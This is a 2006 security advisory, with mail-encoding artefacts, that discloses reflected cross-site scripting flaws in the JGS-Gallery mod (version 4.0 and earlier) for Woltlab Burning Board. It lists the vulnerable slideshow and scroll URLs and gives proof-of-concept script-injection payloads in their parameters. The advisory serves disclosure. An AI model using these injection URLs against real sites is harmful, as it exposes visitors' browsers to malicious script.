Advisory: Woltlab Burning Board 2.x (JGS-Gallery MOD <= 4.0)

[nukedx@nukedx.com]

D=F6k=FCmanlar =BB=BB D=F6k=FCman oku
--Security Report--
Advisory: Woltlab Burning Board 2.x (JGS-Gallery MOD <=3D 4.0) multiple XSS
vulnerabilities
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 24/02/06 04:43 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com
Web: http://www.nukedx.com
}
---
Vendor: JGS-XA (www.jgs-xa.com)
Version: 4.0 and prior versions must be affected.
About: Via this method remote attacker can make malicious links for clickin=
g and
can when victim clicks this links victim's browser would be inject with XSS=
..
Level: Harmless
---
How&Example:
GET -> http://[site]/jgs_galerie_slideshow.php?sid=3D&katid=3D&userid=3D[XS=
S]
EXAMPLE ->
http://[site]/jgs_galerie_slideshow.php?sid=3D&katid=3D&userid=3D<script>al=
ert('X');</script>
GET -> http://[site]/jgs_galerie_scroll.php?userid=3D[XSS]
EXAMPLE ->
http://[site]/jgs_galerie_scroll.php?userid=3D<script>alert('X');</script>
GET -> http://[site]/jgs_galerie_slideshow.php?sid=3D&katid=3D[XSS]&userid=
=3D
EXAMPLE ->
http://[site]/jgs_galerie_slideshow.php?sid=3D&katid=3D<script>alert('X');<=
/script>&userid=3D
--
Timeline:
* 24/02/2006: Vulnerability found.
* 24/02/2006: Contacted with vendor and waiting reply.
--
Original advisory: http://www.nukedx.com/?viewdoc=3D11